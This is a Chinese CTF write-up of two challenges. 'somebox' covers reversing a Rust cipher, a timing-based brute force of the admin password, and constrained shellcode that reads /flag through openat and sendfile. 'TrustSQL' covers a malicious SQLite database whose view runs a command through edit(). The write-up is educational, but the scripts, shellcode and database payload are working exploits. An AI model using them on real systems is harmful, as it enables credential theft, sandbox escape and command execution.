somebox
本题是一道综合性的Rust题目,对选手的逆向分析功底、密码学知识以及shellcode编写能力提出了较高要求。

程序初始输出为一串加密数据,分析需从逆向入手。主逻辑位于sub_1AB40函数中,通过字符串可以定位到一个菜单选项。

顺着“menu”字符串可以找到关键的数据结构。

可以确定,1FA20是核心的加密函数。

这是一个自定义的流式加密算法。推测其参数结构如下:
struct encryptData{
__int64 k[4];
__int64 b[4];
__int64 key[4];
__int64 idx;
};
加密算法表明,密钥流通过递推公式生成:a[n] = k * a[n-1] + b。其中k和b随机生成,仅有初始密钥a[0]已知,即结构体中的key初始值。

v8值仅用于与原文进行异或,而流式密钥v6经过一系列可逆变换得到v8。因此,获取异或后的值即可反向推导出原始key。由于四个密钥轮转使用,导致开头的32字节加密是固定的,后续部分完全随机。
菜单的原文已知,结合密文可以推算出开头部分使用的密钥序列。即对于四个数列key1[n], key2[n], key3[n], key4[n],我们已知它们的前几项。
同时,已知数列递推公式为:key[n] = (k * key[n-1] + b) mod 2^64 (n>=1)。
逆向分析总结出以上信息后,需要借助密码学方法,根据已知的数列前几项来求解参数k和b。尽管可能存在多解,但实测表明任意一组解均不影响加解密过程。
以下是求解脚本:
# 输入:已有的若干项(无符号 64 位,Python int 足够)
from math import gcd
M = 1 << 64
def mod64(x):
return x & (M - 1)
# 解线性同余 k*dx ≡ dy (mod M)
# 返回候选 k 的列表(每个在 [0, M-1])
def solve_for_k(dx, dy):
dx = mod64(dx);
dy = mod64(dy)
if dx == 0:
# 0 * k ≡ dy (mod M) -> 有解当且仅当 dy ≡ 0 (mod M)
return [0] if dy == 0 else [] # 特殊:dx==0 不约束 k,如果 dy==0 则任意 k 可,返回 placeholder
g = gcd(dx, M)
if dy % g != 0:
return []
# 除以 g,在模 M' 下求逆
dxp = dx // g
dyp = dy // g
Mp = M // g
# 计算 (dxp)^(-1) mod Mp
# 使用扩展欧几里得或 pow since Mp 不是素数但 gcd(dxp, Mp)==1
inv = pow(dxp, -1, Mp) # Python 3.8+
k0 = (dyp * inv) % Mp
# 所有解为 k0 + t*Mp, t=0..g-1
return [(k0 + t * Mp) % M for t in range(g)]
def find_k_b_from_sequence(seq):
n = len(seq)
if n < 2:
return None # 信息太少(任意 k,b 可)
# 尝试用第一个能约束的相邻三项(或多处)来生成候选 k
candidates = None
for i in range(n - 2):
dx = (seq[i + 1] - seq[i]) % M
dy = (seq[i + 2] - seq[i + 1]) % M
ks = solve_for_k(dx, dy)
if ks == []:
return [] # 在此处无解 -> 整个序列不可能来自同一线性映射
# 若 dx==0 且 dy==0 意味着这三项对 k 不产生约束,继续找下一组
if dx == 0 and dy == 0:
continue
# 否则 ks 为候选集合(注意:若 dx==0 and dy==0 we skipped)
candidates = ks
break
# 如果一直没有约束(全部相等或每组三项都 dx==0,dy==0),处理特殊情形
if candidates is None:
# 所有相邻差都为0 => seq 都相同 => (k-1)*c + b ≡ 0 (mod M),无限多解
return "ALL_EQUAL" # 提示无限多解(或需要更多约束)
# 验证候选,保留能让所有已知项成立的那些
valid = []
for k in candidates:
b = (seq[1] - (k * seq[0])) % M
ok = True
for i in range(n - 1):
if ((k * seq[i] + b) - seq[i + 1]) % M != 0:
ok = False;break
if ok:
valid.append((k, b))
return valid
将脚本保存为m.py。系统会对用户输入的十六进制数据进行加密后再解析,因此输入前需要先用相同的流加密函数处理(该函数加解密相同)。加解密共享密钥生成器,需妥善管理状态。
初始密钥可通过调试查看栈数据获得。

以下是交互脚本的核心部分,展示了密钥设置与加解密过程:
from pwn import *
from m import find_k_b_from_sequence
context.log_level = 'debug'
context.arch = 'amd64'
import os
import sys
def ror64(value, shift, bits=64):
"""64位循环右移 - rol64的逆操作"""
shift %= bits
return ((value >> shift) | (value << (bits - shift))) & ((1 << bits) - 1)
def rol64(value, shift, bits=64):
"""64位循环左移"""
shift %= bits
return ((value << shift) | (value >> (bits - shift))) & ((1 << bits) - 1)
def mix(v6):
v7 = v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2) ^ ((v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2)) >> 4) ^ (
(v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2) ^ ((v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2)) >> 4)) >> 8) ^ (
(v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2) ^ ((v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2)) >> 4) ^ ((v6 ^ (
v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2) ^ ((v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2)) >> 4)) >> 8)) >> 16)
v7 = v7 & 0xFFFFFFFFFFFFFFFF
v7h = v7 >> 32
v8 = rol64(v7 ^ v7h, 7)
return v8
def inverse_xor_shift(y, k):
"""逆异或变换:从 y 恢复 x,满足 y = x ^ (x >> k)"""
x = y
shift = k
while shift < 64:
x = x ^ (x >> shift)
shift *= 2
return x & 0xFFFFFFFFFFFFFFFF
def inverse_mix(v8):
"""mix 函数的逆向算法"""
# 步骤1: 循环右移7位得到 u
u = ror64(v8, 7)
# 步骤2: 从 u 恢复 v7
u_high = (u >> 32) & 0xFFFFFFFF
u_low = u & 0xFFFFFFFF
v7_high = u_high
v7_low = u_low ^ u_high
v7 = (v7_high << 32) | v7_low
# 步骤3-7: 逐步逆异或变换恢复 v6
x4 = inverse_xor_shift(v7, 16)
x3 = inverse_xor_shift(x4, 8)
x2 = inverse_xor_shift(x3, 4)
x1 = inverse_xor_shift(x2, 2)
x0 = inverse_xor_shift(x1, 1)
return x0
OOO = bytes.fromhex('''
3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D
3D 20 54 4F 59 20 45 4E 43 52 59 50 54 45 44 20
53 45 52 56 49 43 45 20 3D 3D 3D 3D 3D 3D 3D 3D
3D 3D 3D 3D 3D 3D 3D 3D 3D 0A 31 29 20 45 63 68
6F 20 62 61 63 6B 20 77 68 61 74 20 79 6F 75 20
73 65 6E 64 0A 32 29 20 41 64 6D 69 6E 20 6C 6F
67 69 6E 0A 33 29 20 4D 61 67 69 63 43 6F 64 65
20 72 75 6E 6E 65 72 0A 34 29 20 53 68 6F 77 20
63 6F 6E 66 69 67 0A 35 29 20 51 75 69 74 0A 0A
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 2D 2D 2D 2D 2D 0A 59 6F 75 72 20 63
68 6F 69 63 65 3A 20''')
def setKey(hexdata):
data = bytes.fromhex(hexdata.decode())
global KEYA, KEYB, KEYC, KEYX
KEYC_TMP = []
for i in range(0xC0 // 8):
if (i % 4 == 0):
print()
num1 = u64(data[i * 8:i * 8 + 8])
num2 = u64(OOO[i * 8:i * 8 + 8])
KEYX.append(num1 ^ num2)
KEYC_TMP.append(inverse_mix(num1 ^ num2))
print("----------")
for i in range(4, 8):
num1 = u64(data[i * 8:i * 8 + 8])
num2 = u64(OOO[i * 8:i * 8 + 8])
if i == 5 or i == 7:
KEYB[i & 3] = KEYC_TMP[i]
k1 = [KEYC_TMP[0], KEYC_TMP[4], KEYC_TMP[8], KEYC_TMP[12]]
k2 = [KEYC_TMP[1], KEYC_TMP[5], KEYC_TMP[9], KEYC_TMP[13]]
k3 = [KEYC_TMP[2], KEYC_TMP[6], KEYC_TMP[10], KEYC_TMP[14]]
k4 = [KEYC_TMP[3], KEYC_TMP[7], KEYC_TMP[11], KEYC_TMP[15]]
res1 = find_k_b_from_sequence(k1)
res2 = find_k_b_from_sequence(k2)
res3 = find_k_b_from_sequence(k3)
res4 = find_k_b_from_sequence(k4)
print(res1)
print(res2)
print(res3)
print(res4)
if len(res1) == 1 and len(res2) == 1 and len(res3) == 1 and len(res4) == 1 or 1==1:
KEYA[0] = res1[0][0]
KEYA[1] = res2[0][0]
KEYA[2] = res3[0][0]
KEYA[3] = res4[0][0]
KEYB[0] = res1[0][1]
KEYB[1] = res2[0][1]
KEYB[2] = res3[0][1]
KEYB[3] = res4[0][1]
print("KEYA:", [hex(i) for i in KEYA])
print("KEYB:", [hex(i) for i in KEYB])
def getKeyStream():
global KEYA, KEYB, KEYC, KEYX
KEYX = [i for i in KEYC]
i = 0
while (1):
realkey = mix(KEYX[i & 3])
yield realkey.to_bytes(8, 'little')
KEYX[i & 3] = (KEYB[i & 3] + KEYA[i & 3] * KEYX[i & 3]) & 0xFFFFFFFFFFFFFFFF
i += 1
KEYGEN = getKeyStream()
def decrypt(hexdata):
KEY = b''
data = bytes.fromhex(hexdata.decode())
dec = bytearray(data)
for i in range(len(data)):
if i % 8 == 0:
KEY = next(KEYGEN)
dec[i] ^= KEY[i % len(KEY)]
return dec
def encrypt(data):
KEY = b''
enc = bytearray(data)
for i in range(len(data)):
if i % 8 == 0:
KEY = next(KEYGEN)
enc[i] ^= KEY[i % len(KEY)]
return enc.hex().replace(" ", "")
for i in range(1):
KEYA = [0, 0, 0, 0]
KEYB = [0, 0, 0, 0]
KEYC_TMP = []
KEYC = [0x9E3779B97F4A7C15, 0x0000000000000000, 0x94D049BB133111EB, 0x0000000000000000]
KEYX = []
r = process("./somebox")
firstData = r.recvline()
setKey(firstData)
if (KEYA[1] == 0):
r.close()
sys.exit(0)
decrypt(firstData)
while True:
inp = input('$')
if inp == 'exit':
break
r.sendline(encrypt(inp.encode()))
b = r.recvline()
print(decrypt(b).decode())
至此,成功与加密服务建立交互。注意功能1的输出未加密,因此调用时密钥流不会推进。

接下来分析登录功能。逆向定位关键代码,在比赛中需要通过dbg_server附加进程进行动态调试。步骤如下:
- 开启
dbg_server。
- 使用
pwntools运行攻击脚本。
- IDA选择进程附加。
调试截图如下:

选择调试-附加进程。

选择对应的somebox进程。

附加成功后即可进行调试。

分析可知,用户名必须为admin,密码为随机生成。

每次密码校验正确后会sleep 5ms,可利用此时延特性进行逐字节爆破。
def brutePassword():
password = bytearray(16)
current = 0
for i in range(128):
found = False
for c in range(33,0x7F):
password[current] = c
r.sendline(encrypt(b'2').encode())
decrypt(r.recvline()).decode()
r.sendline(encrypt(b'admin').encode())
decrypt(r.recvline()).decode() # enter password
r.sendline(encrypt(password.strip(b'\x00')).encode())
result = decrypt(r.recvline()).decode()
pos = result.find('(')
rpos = result.find('ms)')
if(rpos == -1):
print("!!!",password.strip(b'\x00'))
return password.strip(b'\x00')
T = int(result[pos+1:rpos])
if(T >= 5*current +5):
print(password.strip(b'\x00'),result,T)
current += 1
found = True
if(found):
break
if(not found):
password[current] = 0
current -= 1
return password
为方便本地调试,可Patch程序使密码验证始终返回成功,因为后续的Shellcode执行才是重点。

根据功能3(MagicCode runner)定位到代码执行位置。

程序使用mmap分配了一段权限为7(可读、可写、可执行)的内存。

在执行shellcode前,会关闭该内存段的写权限,并在满足特定条件时随机打乱输入的shellcode字节。
完整算法简化后,其逻辑可抽象为一个“游戏”校验:
- 游戏有3个玩家和1个Boss。
- 三个玩家的初始血量分别为shellcode中连续三个字节的值 + 255。
- Boss的血量为三个玩家血量之和。
- 所有人的攻击力为5,一次攻击造成5点伤害。
- 血量低于5视为死亡。
每回合随机选择一个存活玩家与Boss战斗:
- 玩家攻击Boss,Boss血量-5。
- Boss攻击该玩家,玩家血量-5。
- 任何一方全部死亡则游戏结束。
将玩家生命值表示为 5x + a, 5y + b, 5z + c (其中 a, b, c < 5)。Boss血量为 5(x+y+z) + (a+b+c)。
分析可知,游戏胜利的条件极为苛刻。最终,在仅剩一名玩家时,需要满足 (a + b + c) < 5,才能在玩家先手攻击后击败Boss。这里的a, b, c即每个字节值模5的余数。
因此,shellcode必须满足以下约束:任意连续三个字节值模5的余数之和必须小于5。
for i in range(len(shellcode)-2):
s = 0
for j in range(3):
s += shellcode[i+j] % 5
if s >= 5:
print("error")
quit()
需精心选择指令,使其字节值模5的余数(权值)尽可能小。一些有用的指令包括:
jmp $+2; (操作码 EB 00,权值 0, 0)
mov ecx, $imm; (操作码 B9 ?? ?? ?? ??,权值 0, ??, ??, ??, ??)
xchg r1, r2 指令优势在于其操作码可互换(如xchg r2, r1),效果相同但可能获得不同的权值组合。

执行shellcode前,几乎所有寄存器被清零,缺乏可写地址。需先分析沙箱规则。

沙箱规则较简单,允许openat和sendfile,但缺乏直接可写内存。因此选择使用mmap分配内存,用于存储/flag字符串。程序在执行shellcode后会关闭标准输入,因此必须一次性写入符合规则的完整shellcode。
以下是符合约束的shellcode示例:
mov ecx,9
mov eax,ecx
mov edi,0
mov esi,0xa000
mov edx,7
mov ecx,0x22
mov r10d,ecx
syscall ; mmap
add rax, 0x5000
mov rbx,rax
jmp $+2
xchg rbx,rbp
mov rbx,rax
xchg rbx,rsp
sub rax,0x5000
mov rbx,rax
; write /flag
mov ecx,'/'
mov [rbx],cl
jmp $+2
inc rbx
mov ecx,'f'
mov [rbx],cl
jmp $+2
inc rbx
mov ecx,'l'
mov [rbx],cl
jmp $+2
inc rbx
mov ecx,'a'
mov [rbx],cl
jmp $+2
inc rbx
mov ecx,'g'
mov [rbx],cl
jmp $+2
inc rbx
mov ecx, 0
mov [rbx],cl
jmp $+2
inc rbx
jmp $+2
mov rbx,rax
jmp $+2
xchg rsi,rbx
jmp $+2
mov ecx,0
jmp $+2
mov edi,ecx
jmp $+2
mov ecx,0
jmp $+2
mov edx,ecx
jmp $+2
mov ecx,1
jmp $+2
mov edi,ecx
jmp $+2
mov ecx,257
jmp $+2
mov eax,ecx
jmp $+2
syscall ; openat
mov ecx,0
jmp $+2
mov esi,ecx
jmp $+2
mov ecx,1
jmp $+2
mov edi,ecx
jmp $+2
mov ecx,0x30
mov r10d,ecx
mov ecx,40
mov eax,ecx
mov ecx,0
mov edx,ecx
syscall ; sendfile
最终通过Python编写的完整利用脚本,成功获取flag。

补充:沙箱通过配置文件设置了10个禁用系统调用位。openat已被放行,但原生orw(open-read-write)中的read、write等通常被禁用。可用于读取文件的系统调用还包括:mmap, readv, pread64, preadv, preadv2, splice, sendfile, io_uring, io_setup等。本题质量较高,综合考察了多项安全技能。
TrustSQL
题目信息:
- 目标:利用
/home/qwb/sqlite3中的漏洞,构造恶意数据库文件。当用户用该sqlite3加载此数据库并执行查询PRAGMA trusted_schema = ON; select users from qwbDB;后,自动弹出系统计算器。
- 环境:提供的Ubuntu虚拟机,用户
qwb,密码admin。靶机环境相同,仅密码不同。
- 限制:需执行特定查询命令。
题目已开启PRAGMA trusted_schema = ON,可利用sqlite3的edit()函数执行命令。若允许任意SQL,可执行:
select edit('gnome-calculator;','gnome-calculator;');

但题目要求只能执行特定查询select users from qwbDB;。因此,可以通过创建一个视图(VIEW)来间接触发恶意载荷。
CREATE VIEW qwbDB(users) AS SELECT edit('gnome-calculator;','gnome-calculator;');

当执行select users from qwbDB;时,就会调用edit()函数弹出计算器。